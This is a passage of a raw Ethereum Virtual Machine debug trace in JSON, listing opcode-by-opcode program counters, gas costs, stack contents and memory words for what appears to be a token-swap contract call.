pc":15246,"op":"JUMPI","gas":100497,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x1","0x3b93"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15251,"op":"JUMPDEST","gas":100487,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15252,"op":"DUP2","gas":100486,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15253,"op":"CALLDATALOAD","gas":100483,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15254,"op":"PUSH2","gas":100480,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15257,"op":"DUP2","gas":100477,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15258,"op":"PUSH2","gas":100474,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15261,"op":"JUMP","gas":100471,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x3643"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13891,"op":"JUMPDEST","gas":100463,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13892,"op":"PUSH1","gas":100462,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13894,"op":"PUSH1","gas":100459,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13896,"op":"PUSH1","gas":100456,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13898,"op":"SHL","gas":100453,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13899,"op":"SUB","gas":100450,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13900,"op":"DUP2","gas":100447,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13901,"op":"AND","gas":100444,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13902,"op":"DUP2","gas":100441,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13903,"op":"EQ","gas":100438,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13904,"op":"PUSH2","gas":100435,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9